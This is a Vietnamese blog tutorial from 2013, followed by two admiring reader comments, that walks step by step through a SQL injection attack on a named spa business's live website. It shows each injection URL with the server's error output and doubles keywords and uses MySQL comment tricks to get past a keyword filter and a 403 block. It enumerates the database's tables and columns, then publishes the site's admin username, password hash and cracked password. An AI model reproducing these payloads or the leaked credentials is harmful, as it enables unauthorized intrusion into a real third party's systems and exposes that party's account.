Thứ Sáu, 24 tháng 5, 2013

[TUT] Bypass Filter + 403 Forbidden SQL Injection



Thy bài này hay , post cho a e xem

Mi người cùng tham kho cách bypass nhé !



Victim :

Quote:
http://spaadam.com/vi/news.php?newsid=108



check li :

Quote:
http://spaadam.com/vi/news.php?newsid=108'


Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


-> Li ri nhé ! tiếp tc order


Quote:
http://spaadam.com/vi/news.php?newsid=108 order by 1-- -


Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'der by 1-- -' at line 1


đến đây ta thy ! Filter đã được s dng , và nó đã cn mt kí t "or" trong "order by 1-- -" mà ta nhp

nó cn mt thì ta thêm li. bypass nó như sau :


Quote:
http://spaadam.com/vi/news.php?newsid=108 oorrder by 1-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1-- -' at line 1


-> Vn không được ri . Bypass /*!*/ tiếp nhé :


Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 1-- -

Quote:
Mt s hình nh mi v Spa Adam
Posted on 2012-03-15 14:37:25


-> Okay ! không li ri. gi ta tiếp tc order ( đon này mình không gii thích nhiu, ai chưa hiu thì xem tut cơ bn hơn na ) :


Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 7-- -

Quote:
Unknown column '7' in 'order clause'

Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 6-- -

Quote:
Mt s hình nh mi v Spa Adam
Posted on 2012-03-15 14:37:25


-> Có 6 column .

Ta tiếp tc UNION SELECT -> tìm ct li đ khai thác


Quote:
http://spaadam.com/vi/news.php?newsid=-108 UNION SELECT 1,2,3,4,5,6-- -

Quote:
403 Forbidden


Bypas bng /*!UNION*/


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNION*/ SELECT 1,2,3,4,5,6-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5,6-- -' at line 1


Có l nào em nó đã cn mt UNION SELECT ca mình 
 !

Bypass :


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -


Ô_Ô không thy cái gì ri ! gi thay 108 bng Null nhé 



Quote:
http://spaadam.com/vi/news.php?newsid=Null /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -


-> Vô nghĩa !

Tiếp tc th thay s bng Null ( 1,2,3,4,5,6 = Null,Null,Null,Null,Null,Null )


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,Null,Null-- -


Đối vi vic thay s bng nulll như thế này ! ta có th khai thác th tng v trí Null khác nhau đ tìm v trí Null li ri tiếp tc khai thác .


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,version(),Null-- -


V trí Null s 5 đã li và xut hin kết qu nhưng đã b mt đu .


Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.9-MariaDB-mariadb102' at line 1


gi dùng cách sau +kết hp bypass đ nó ra đy cmn đ 



Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!concat(0x7c,version())*/,Null-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|5.2.9-MariaDB-mariadb102' at line 1


có version ri ! gi ta tiếp tc khai thác table + kết hp bypass /*!*/ Null th 5


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!from*/ information_schema./*!tables*/ where table_schema=database()-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near './*!tables*/ where table_schema=databe()-- -' at line 1


Nó cn đi khá nhiu "from information_schema" và c as ca database

như lúc order by vi union. nó cn đâu thì ta vá li đó :


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ information_schema./*!tables*/ where table_schema=databaasse()-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'infmation_schema./*!tables*/ where table_schema=database()-- -' at line 1


bypass được 2 th . kết qu show ra còn 1 th na. mt or trong t information

Nào cùng vá li nó :


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ infoorrmation_schema./*!tables*/ where table_schema=databaasse()-- -

Quote:
Unknown column 'admin' in 'where clause'


Ra table admin luôn. khi cn dùng limit đ tìm em nó 


tiếp tc khai thác column trong table admin


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!column_name*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -

Quote:
Posted on


Nhưng Khi :


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!group_concat(column_name)*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'username,password' at line 1


okê ri ! gi đã có 2 column cn khai thác. gi tiến ti data


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ admin-- -

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1



Không ra cái gì . B cn phn đuôi . chc là đã mt t admin. vá c cái admin


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ adadminmin-- -

Quote:
Unknown column 'admin' in 'where clause'


Nick admin là admin


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!password*/,Null /*!frfromom*/ adadminmin-- -

Quote:
Unknown column 'pswd' in 'field list'


pswd hin ra nhưng đây không phi password ca nó ! 


mà là password đã b nó cn thôi. gi TÁT v mm nó vì cái ti cn t đu đến cui nhé


Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!paassswoorrd*/,Null /*!frfromom*/ adadminmin-- -

Quote:
Unknown column '5f8f9e33bb5e13848af2622b66b2308c' in 'where clause'


Nick: admin
Pass: vietnam ( anh em gg táng 5f8f9e33bb5e13848af2622b66b2308c vào nhé 
 )

Tut hết ti đây. Có gì sai sót mong anh em góp ý 

2 nhận xét:

  1. hay lắm :D bài viết ý nghĩa mà hài hước dễ hiểu

    Trả lờiXóa
  2. chào bạn, dạo này bạn ko ra thêm tút mới nữa hả, mình rất mong các tut mới của bạn. thank bạn rất nhiều

    Trả lờiXóa